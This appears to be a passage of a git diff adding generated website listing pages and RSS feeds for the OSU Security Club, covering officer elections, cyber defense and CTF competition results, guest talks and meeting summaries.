Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. +tl;dr Come vote on Thursday, 3/12 at 7pm in KEC …

Read More

Photo of members of the SSH Lab with NSA analsysts

NSA Visit

Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance …

Read More

2019-2020 Officers

Here are the new officers for the 2019-2020 school year:

  • President: Zander Work
  • Vice President: Hadi Rahal-Arabi
  • Treasurer: David Park
  • Multimedia Coordinator: Adam Stewart
  • Lab Manager: Ryan Kennedy …

Read More

2019-2020 Officer Elections on April 25th

We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of …

Read More

Victory photo of 6 OSUSEC students, with one holding a trophy

PRCCDC 2019 Results

This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough …

Read More

Meeting 2/28 - OSUSEC Lab

Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information …

Read More

Welcome to Winter 2019!

Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term.

Some things to look forward to for this term:

I’m working with …

Read More

Screenshot of the NSA Codebreaker Challenge's website scoreboard.

NSA Codebreaker Challenge 2018 Results

The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is …

Read More

Victory photo of 6 OSUSEC students as well as Yeongjin Jang, and a representative from the Department of Energy.

Cyberforce Competition 2018 Results

I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited …

Read More

Cyberforce Competition

The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready!

If you are interested in being …

Read More

CSAW Prep

It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows:

  1. Register on …

Read More

Victory photo of 6 OSUSEC students, Yeongjin Jang, and the director of the Cyberforce program.

Osusec Wins Department of Energy Cyber Defense Competition

Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying …

Read More

\ No newline at end of file diff --git a/categories/club-news/index.xml b/categories/club-news/index.xml new file mode 100644 index 0000000..cd4632b --- /dev/null +++ b/categories/club-news/index.xml @@ -0,0 +1,33 @@ +Codestin Search Apphttps://osusec.org/categories/club-news/Recent content in Club News on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Apr 2024 08:41:08 -0700Codestin Search Apphttps://osusec.org/blog/prccdc-2024/Tue, 02 Apr 2024 08:41:08 -0700https://osusec.org/blog/prccdc-2024/We are delighted to announce that OSUSEC&rsquo;s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we&rsquo;re really looking forward to competing in Nationals in San Antonio later this month. We are excited to continue to represent OSU cybersecurity for another year! +CCDC requires us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors.Codestin Search Apphttps://osusec.org/blog/electronic_frontier_alliance/Sun, 03 Mar 2024 19:05:41 -0800https://osusec.org/blog/electronic_frontier_alliance/As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance&rsquo;s five core principles: +Free Expression Security Privacy Creativity Access to Knowledge We believe that advances in technology, and specifically cybersecurity, can be a critical tool in making people&rsquo;s lives better. But in equal measure, it can be a tool to stifle the human spirit.Codestin Search Apphttps://osusec.org/blog/cyberforce-2023/Tue, 07 Nov 2023 10:10:16 -0800https://osusec.org/blog/cyberforce-2023/Last weekend, OSUSEC&rsquo;s cyberdefense team flew out to Chicago to compete in the Department of Energy&rsquo;s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first time in a cyberdefense competition, and they absolutely rocked it! The team trained on Industrial Control Systems, system administration, and incident response in preparation, and came away with 15th out of 95 teams! +Thank you for everyone who helped put on Cyberforce.Codestin Search Apphttps://osusec.org/blog/wwt-red-team/Tue, 31 Oct 2023 10:10:45 -0800https://osusec.org/blog/wwt-red-team/Last Thursday, we entered two teams into WWT&rsquo;s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical theme, it gave us a chance to put our offensive skills to the test as we exploited Windows machines, achieved remote code execution via PHP, pivoted around their environment, and lost our sanity to DNS. +Our teams were able to bring home 2nd and 4th place out of 18 teams total, with several other universities competing.Codestin Search Apphttps://osusec.org/blog/armis-workshop/Sun, 29 Oct 2023 09:54:35 -0700https://osusec.org/blog/armis-workshop/Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend! +He talked about the importance of cyber-physical security and guided us through a hands-on lab with Armis&rsquo; flagship SIEM, tracing exploit attempts and hidden devices on the demo network. It was super valuable and everyone really enjoyed getting to hear this unique industry perspective! We had 28 students come out and participate, and great informal conversations afterward!Codestin Search Apphttps://osusec.org/blog/wwt-blue-team/Mon, 02 Oct 2023 17:24:37 -0700https://osusec.org/blog/wwt-blue-team/Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT&rsquo;s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a mixture of teams including those from federal agencies &amp; Fortune 500 companies! We played from 3pm to 3am the next morning, all in one shot. The crash afterwards was not pleasant but it was still worth it &ndash; incident response and cyber competitions take on a wilder and much more creative tone when it&rsquo;s an odd hour in the morning.Codestin Search Apphttps://osusec.org/blog/nccdc-2023/Thu, 11 May 2023 00:00:00 -0700https://osusec.org/blog/nccdc-2023/The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills.Codestin Search Apphttps://osusec.org/blog/2023-2024-osusec-officers-selected/Mon, 24 Apr 2023 00:00:00 -0700https://osusec.org/blog/2023-2024-osusec-officers-selected/This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year: +President: Casey Colley Vice President: Otso Barron Treasurer: Abigail Whittle Lab Manager: Lucas Ball CTF League Coordinator: Zane Othman-Gomez Recruitment and Community Outreach Manager: Julie Weber +Thank you to all who came (or attended on Discord) and took part in democracy!Codestin Search Apphttps://osusec.org/blog/prccdc-2023/Fri, 31 Mar 2023 00:00:00 -0700https://osusec.org/blog/prccdc-2023/This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. OSUSEC walked away with 1st place, and will be attending NCCDC (Nationals) at the end of April!Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2022/Tue, 08 Nov 2022 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2022/This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a network of 6 virtual machines, then defending it against a team of hackers. Cyberforce also tests students’ abilities to budget their time and respond to miscellaneous requests from managers relating to the NIST framework for cybersecurity. We brought home 10th place out of 169 teams, and placed 1st place for team style 😎Codestin Search Apphttps://osusec.org/blog/bsidespdx-2022/Sat, 08 Oct 2022 00:00:00 -0700https://osusec.org/blog/bsidespdx-2022/Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, attending many interesting talks, and making some new friends! We became known as the team competing in the closet, as the CTF team set up fort in a nearby maintenance closet instead of the official CTF room.Codestin Search Apphttps://osusec.org/blog/2022-2023-osusec-officers-decided/Wed, 13 Apr 2022 00:00:00 -0700https://osusec.org/blog/2022-2023-osusec-officers-decided/The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023. +President: Cameron McCawley Vice President: Casey Colley Treasurer: Mike Carris Lab Manager: Lucas Ball CTF League Coordinator: Allen Benjamin Recruitment Officer: Brandon Ellis (Interim) Community Manager: Gabriel Kulp +Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2021/Wed, 05 Jan 2022 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2021/On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11. +Some more statistics about the competition are below: +Confirmed Public Participants: 5,465 Schools Registered: 631 Task Completions: Task 0: 3,335 Task 1: 2,352 Task 2: 1,385 Task 3: 1,098 Task 4: 778 Task 5: 688 Task 6: 418 Task 7: 196 Task 8: 56 Task 9: 55 Task 10: 42 PCAP Downloads: 3,650 This was a great effort from our team over the course of several months.Codestin Search Apphttps://osusec.org/blog/doe-cyberforce-competition-2021/Sun, 21 Nov 2021 00:00:00 -0700https://osusec.org/blog/doe-cyberforce-competition-2021/On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition (https://cyberforcecompetition.com/) out of the 135 teams registered for the competition. +The team roster was: +Casey Colley (Captain) Mike Carris Robert Detjens Brandon Ellis Huy Nguyen Lyell Read The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here.Codestin Search Apphttps://osusec.org/blog/2021-2022-osusec-officers-decided/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/blog/2021-2022-osusec-officers-decided/For the coming school year, we welcome in 8 officers, in the following positions: +President: Lyell Read Vice President: Zach Taylor Treasurer: Mike Carris Lab Manager: Cameron McCawley Community Manager: Christa Wright Recruitment: Brandon Ellis CTF League Coordinator: Allen Benjamin Graphic Designer: Sierra Freihoefer This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles.Codestin Search Apphttps://osusec.org/blog/thank-you/Fri, 05 Jun 2020 00:00:00 -0700https://osusec.org/blog/thank-you/Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. Now, we’ve reached nearly 300 members, play CTF nearly every weekend, and have many 1st place and top 3 finishes in CDC, not to mention our incredible 1st and 3rd place finishes in the NSA Codebreaker Challenge.Codestin Search Apphttps://osusec.org/blog/prccdc-2020-results/Tue, 14 Apr 2020 00:00:00 -0700https://osusec.org/blog/prccdc-2020-results/Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed all of the Pacific Rim teams to compete in the National Wildcard Event, which was held online on April 11th, 2020. +I am pleased to announce that OSUSEC placed 2nd in the PRCCDC division (out of 12 teams), and 9th overall (out of 26 teams)!Codestin Search Apphttps://osusec.org/blog/officer-elections-on-3-12/Tue, 03 Mar 2020 00:00:00 -0700https://osusec.org/blog/officer-elections-on-3-12/Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. tl;dr Come vote on Thursday, 3/12 at 7pm in KEC 1003. We will have pizza. +I have been the president of the OSU Security Club for nearly 3 years now, and I have loved every second of it. Being able to work with all of you has had a tremendous impact on my college experience, and I thank each and every one of you for contributing to that.Codestin Search Apphttps://osusec.org/blog/nsa-visit/Thu, 26 Sep 2019 00:00:00 -0700https://osusec.org/blog/nsa-visit/Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk. +The talk was focused around the NSA Codebreaker Challenge, which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&amp;A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency.Codestin Search Apphttps://osusec.org/blog/2019-2020-officers/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officers/Here are the new officers for the 2019-2020 school year: +President: Zander Work Vice President: Hadi Rahal-Arabi Treasurer: David Park Multimedia Coordinator: Adam Stewart Lab Manager: Ryan Kennedy Recruitment/Public Relations: Alex Rash Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/2019-2020-officer-elections-on-april-25th/Tue, 16 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officer-elections-on-april-25th/We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering. +Here are the positions (link goes to position duties): +President Vice President Treasurer Multimedia Coordinator Lab Manager To run for a position, please do the following: +Fill out this form no later than April 23rd Send a slide (one slide) to security.Codestin Search Apphttps://osusec.org/blog/prccdc-2019-results/Sun, 24 Mar 2019 00:00:00 -0700https://osusec.org/blog/prccdc-2019-results/This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough competition. +PRCCDC is a 2 day competition where each team must secure a mix of approximately 10 Windows and Linux systems, configure a border firewall, monitor and defend against attacks from the Red Team, and work with business users over the phone throughout the event.Codestin Search Apphttps://osusec.org/blog/meeting-2-28-osusec-lab/Thu, 28 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-28-osusec-lab/Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the dedicated page for it.Codestin Search Apphttps://osusec.org/blog/welcome-to-winter-2019/Tue, 08 Jan 2019 00:00:00 -0700https://osusec.org/blog/welcome-to-winter-2019/Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term. +Some things to look forward to for this term: +I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome. PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2018-results/Sun, 06 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2018-results/The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome! +For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the National Security Agency usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2018-results/Tue, 04 Dec 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2018-results/I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited with new ideas for next year. The university is sending out a press release on Thursday so I’ll update this post with a link to that when it comes out. +Link to the competition website: https://cyberforcecompetition.com/Codestin Search Apphttps://osusec.org/blog/cyberforce-competition/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition/The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! +If you are interested in being on the team for this competition, please fill out the form here by October 10th. +Requirements for applying: +You will be able to spend time during October and November preparing for the competition by completing a variety of tasks You are able to travel to Washington or California to compete in the competition on November 30th and December 1st We will probably be leaving the night of the 29th Even if you think you might not be qualified enough, I’d still wholly encourage you to apply.Codestin Search Apphttps://osusec.org/blog/csaw-prep/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/blog/csaw-prep/It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: +Register on CSAW 365 (https://365.csaw.io/) Join our class so that I can keep track of your score (Please check Discord or your email for the class code) Work on solving challenges through the end of August.Codestin Search Apphttps://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Sun, 08 Apr 2018 00:00:00 -0700https://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying multiple Windows and Linux systems and securing them against live attacks for 8 hours. +The members of the team were: +Zander Work Zach Rogers Cody Holliday Hadi Rahal-Arabi Khuong Luu Aidan Grimshaw Great job guys! \ No newline at end of file diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 0000000..fa9cf18 --- /dev/null +++ b/categories/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Categories

\ No newline at end of file diff --git a/categories/index.xml b/categories/index.xml new file mode 100644 index 0000000..fed63bb --- /dev/null +++ b/categories/index.xml @@ -0,0 +1 @@ +Codestin Search Apphttps://osusec.org/categories/Recent content in Categories on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Apr 2024 08:41:08 -0700Codestin Search Apphttps://osusec.org/categories/club-news/Tue, 02 Apr 2024 08:41:08 -0700https://osusec.org/categories/club-news/Codestin Search Apphttps://osusec.org/categories/writeups/Wed, 24 Jan 2024 22:25:26 -0700https://osusec.org/categories/writeups/Codestin Search Apphttps://osusec.org/categories/meeting-notes/Thu, 09 Nov 2023 10:10:33 -0800https://osusec.org/categories/meeting-notes/Codestin Search Apphttps://osusec.org/categories/uncategorized/Sat, 22 Feb 2020 00:00:00 -0700https://osusec.org/categories/uncategorized/ \ No newline at end of file diff --git a/categories/meeting-notes/index.html b/categories/meeting-notes/index.html new file mode 100644 index 0000000..4e78a20 --- /dev/null +++ b/categories/meeting-notes/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Meeting Notes

Photo of OSUSEC students picking some locks.

Meeting 11/08/23

Ni Haowdy members!

Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet …

Read More

Battelle's logo and motto

Meeting 10/25/23

Good Thursday, members!

Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped …

Read More

Meeting 10/18/23

Ni Haowdy!

Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security …

Read More

Art of the SuperMetroid logo

Meeting 10/11/23

Howdy hackers!

Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you …

Read More

Screenshot of the first slide of the "welcome back" meeting.

Meeting 10/04/23

Howdy hackers!

Thanks for showing up last night, and staying flexible with us! I know we weren’t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, …

Read More

Casey Colley explaining a design of their project to use as an example.

Meeting Notes 11/09

Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how …

Read More

NetSPI logo

Meeting Notes 11/02

Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through …

Read More

OSUSEC members try an intro pwn challenge, including 1337 hackors Alex Marx and Milan Donhowe

Meeting Notes 10/19

Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we …

Read More

Matt Jansen and Jake Johanson dive deeper after finishing the same task.

Meeting Notes 10/12

Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused …

Read More

Casey Colley explaining business injects of CyberDefense Competitions.

Meeting Notes 10/05

Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn …

Read More

Cameron McCawley debriefing the club on activities for this year.

Meeting Notes 9/28

Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the …

Read More

Meeting Notes 3/2

Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play.

The slides for the meeting are available …

Read More

Meeting Notes 2/9

Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced …

Read More

Meeting Notes 2/23

Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the …

Read More

Meeting Notes 2/2

Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge …

Read More

Meeting Notes 1/26

Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical …

Read More

Meeting Notes 1/19

Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary …

Read More

Meeting Notes 1/12

Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel.

Here are …

Read More

Meeting Notes 10/27

Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6.

Here are the slides …

Read More

Meeting Notes 10/6

Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a …

Read More

Meeting Notes 10/1

Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some …

Read More

2021-2022 OSUSEC Officers Decided

For the coming school year, we welcome in 8 officers, in the following positions:

  • President: Lyell Read
  • Vice President: Zach Taylor
  • Treasurer: Mike Carris
  • Lab Manager: Cameron McCawley
  • Community …

Read More

Photo of classroom full of students, many of which have laptops out

Meeting Notes 10/3

Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge.

Here is a link to the slides (requires ONID sign-in): Google Slides

Next week’s CTF …

Read More

Image of a classroom full of students, many students have their laptops out

Meeting Notes 9/26

Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a …

Read More

Photo of members of the SSH Lab with NSA analsysts

NSA Visit

Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance …

Read More

Meeting Notes 5/9

Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform.

If you have …

Read More

2019-2020 Officers

Here are the new officers for the 2019-2020 school year:

  • President: Zander Work
  • Vice President: Hadi Rahal-Arabi
  • Treasurer: David Park
  • Multimedia Coordinator: Adam Stewart
  • Lab Manager: Ryan Kennedy …

Read More

Meeting Notes 4/18

Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA.

Remember, as a OSU Security Club …

Read More

2019-2020 Officer Elections on April 25th

We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of …

Read More

Meeting Notes - 3/7

Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow.

You …

Read More

Meeting 2/28 - OSUSEC Lab

Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information …

Read More

Meeting 2/21

Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment.

If you’re interested in learning more about this, check out the NetSPI blog or the Azure …

Read More

Meeting 2/14

Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site.

Link to the slides (requires ONID login). The slides have information on getting the …

Read More

Meeting 2/7

Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo.

The only announcement for today is to RSVP for our upcoming event with …

Read More

Meeting 1/31

Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code.

There are some new challenges up on CTFd, rev[1-4]

Link to the slides (requires ONID login)

Read More

Meeting 1/24

Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform.

Slides (requires ONID login)

Next week, we’re going to work on similar binaries, but comparing the assembly …

Read More

Meeting 1/17

Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub.

Here’s a link to the slides (requires ONID …

Read More

Meeting 1/10

Thanks for a great first meeting for Winter 2019!

Here is a link to the slides (requires ONID login): Slides

For those of you who were unable to make it, here’s a brief summary of what we went over. …

Read More

Welcome to Winter 2019!

Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term.

Some things to look forward to for this term:

I’m working with …

Read More

Meeting 11/15

Thanks for a great last meeting for the Fall term!

I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. …

Read More

Meeting 11/01

Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on …

Read More

Meeting 10/25

Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides.

Announcements from tonight’s meeting:

  • Make sure to RSVP for the NetSPI event …

Read More

Meeting 10/11

Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available.

Announcements from tonight’s meeting:

Make …

Read More

Meeting 10/4

Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: …

Read More

Meeting 9/27

Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic!

Here is a link to the slides for …

Read More

\ No newline at end of file diff --git a/categories/meeting-notes/index.xml b/categories/meeting-notes/index.xml new file mode 100644 index 0000000..9ed8c11 --- /dev/null +++ b/categories/meeting-notes/index.xml @@ -0,0 +1,80 @@ +Codestin Search Apphttps://osusec.org/categories/meeting-notes/Recent content in Meeting Notes on OSU Security ClubHugo -- gohugo.ioen-usThu, 09 Nov 2023 10:10:33 -0800Codestin Search Apphttps://osusec.org/blog/meeting-11-08-23/Thu, 09 Nov 2023 10:10:33 -0800https://osusec.org/blog/meeting-11-08-23/Ni Haowdy members! +Last night, we had our first lockpicking meeting of the school year! Zane led us through an introduction to lockpicking and the various locks we have. Lockpicking is a great outlet for puzzle-solving as well as a practical tool if you are ever locked out of our apartment :) +We will continue to have lockpicking meetings throughout the year, so keep an eye out for the next one!Codestin Search Apphttps://osusec.org/blog/meeting-10-25-23/Thu, 26 Oct 2023 20:11:05 -0700https://osusec.org/blog/meeting-10-25-23/Good Thursday, members! +Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped her transition into this unique line of work! This work is especially important when verifying that systems have been built without unintentional bugs and malicious backdoors. +Battelle is one of the largest non-profits dedicated to research in the United States, and manages many of the National Laboratories on behalf of the Department of Energy, as well as doing Top Secret contract work with the federal government.Codestin Search Apphttps://osusec.org/blog/meeting-10-18-23/Thu, 19 Oct 2023 12:04:17 -0700https://osusec.org/blog/meeting-10-18-23/Ni Haowdy! +Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security vulnerabilities into their code, and some potential solutions for it. We had some great conversations about the attitudes in software development spaces and how we might be able to change that for the future. Please reach out to Dr. Fulton if you are interested in working with them on further research!Codestin Search Apphttps://osusec.org/blog/meeting-10-11-23/Thu, 12 Oct 2023 13:41:15 -0700https://osusec.org/blog/meeting-10-11-23/Howdy hackers! +Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you everyone who showed up :) He discussed the game&rsquo;s internal mechanics, how the exploit works, and his experience developing the real-world exploit as a cybersecurity student and as someone who enjoys retro games.Codestin Search Apphttps://osusec.org/blog/meeting-10-04-23/Thu, 05 Oct 2023 14:44:22 -0700https://osusec.org/blog/meeting-10-04-23/Howdy hackers! +Thanks for showing up last night, and staying flexible with us! I know we weren&rsquo;t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, learn about the club, and possibly pick a lock for the first time! We hope to see you again in more meetings throughout the term. Please feel free to reach out to any officer if you have questions or need help!Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-09/Wed, 09 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-09/Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how that has gone wrong in real life software projects, and the different mitigations that have come about in an effort to control memory corruption attacks (an example of improper input handling). +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-02/Wed, 02 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-02/Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through penetration testing as a career, what work is like at NetSPI, their NetSPI University program, and some entertaining stories from their pentesting work! We hope you had fun and walked away with an enthusiasm for pentesting. If you enjoyed this, definitely think 